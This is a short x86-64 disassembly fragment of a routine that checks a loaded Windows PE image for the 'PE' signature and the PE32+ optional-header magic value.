movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x304292338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret